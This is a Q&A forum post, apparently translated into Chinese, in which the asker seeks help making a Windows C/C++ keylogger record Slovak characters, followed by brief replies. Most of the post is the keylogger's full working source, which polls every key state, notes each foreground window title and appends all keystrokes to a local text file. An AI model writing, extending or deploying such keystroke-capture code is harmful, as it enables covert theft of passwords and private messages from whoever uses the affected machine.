【发布时间】:2014-05-14 19:25:06
【问题描述】:
我想用 C/C++ 创建键盘记录器,但是,我来自斯洛伐克,我们有一些特殊字符,例如 ľ、š、č、ť、ž、ý、á、í ...
slovak keyboard layout image
但是当按'č' - >我的keylooger检测'4'(它是英文键盘布局上的相同字符)。
我该如何处理这个问题?
#include <windows.h>
#include <fstream>
#include <string>
#include <stdio.h>
#include <iostream>
#include <conio.h>
using namespace std;
string convertkey(int key){
string keystring;
switch(key)
{
case 8 :
keystring = "[/]";
break;
case 13 :
keystring = "\n";
break;
case 32 :
keystring = " ";
break;
case 190 :
keystring = ".";
break;
case 110 :
keystring = ".";
break;
case VK_CAPITAL :
keystring = "[CAPS LOCK]";
break;
case VK_TAB :
keystring = "[TAB]";
break;
case VK_CONTROL :
keystring = "[CONTROL]";
break;
case VK_ESCAPE :
keystring = "[ESCAPE]";
break;
case VK_DOWN :
keystring = "[DOWN]";
break;
case VK_LEFT :
keystring = "[LEFT]";
break;
case VK_RIGHT :
keystring = "[RIGHT]";
break;
case VK_UP :
keystring = "[UP]";
break;
}
if(key >= 96 && key <= 105)
keystring = key-48;
else if (key > 47 && key < 60)
keystring = key;
if (key != VK_LBUTTON || key != VK_RBUTTON)
{
if (key > 64 && key < 91)
{
if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT))
keystring = key; //if its capital then stay
else
{
key = key + 32; //if not shift the number to the lowercase value
keystring = key;
}
}
}
return keystring;
}
void StoreKey(string key){
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << key;
cout << key;
storekey.close();
}
void Logger()
{
string keyinstring = "";
int key;
char currentwindowtitle[MAX_PATH];
char newwindowtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
while(true)
{
Sleep(5);
for(key = 8; key <= 256; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));
if (strcmp(newwindowtitle, currentwindowtitle) != 0)
{
ofstream storekey("C:\\storekey.txt", ios::app);
storekey << endl << currentwindowtitle << endl;
cout << endl << currentwindowtitle << endl;
storekey.close();
strcpy(newwindowtitle, currentwindowtitle);
}
keyinstring = convertkey(key);
StoreKey(keyinstring);
}
}
}
}
int main(){
Logger();
return 1;
}
【问题讨论】:
-
我认为你应该创建一个窗口,并接收 WM_CHAR 以获取输入的真实字符
-
如果你知道英语和斯洛伐克语键的匹配,那么你可以写一个转换表
-
Cocoop -> 我不能,因为当我按 'ý' -> 程序得到 '55' (ascii 值)并且它是 '7' 但是,当我真的按数字 7 时? -> 每次都是“ý”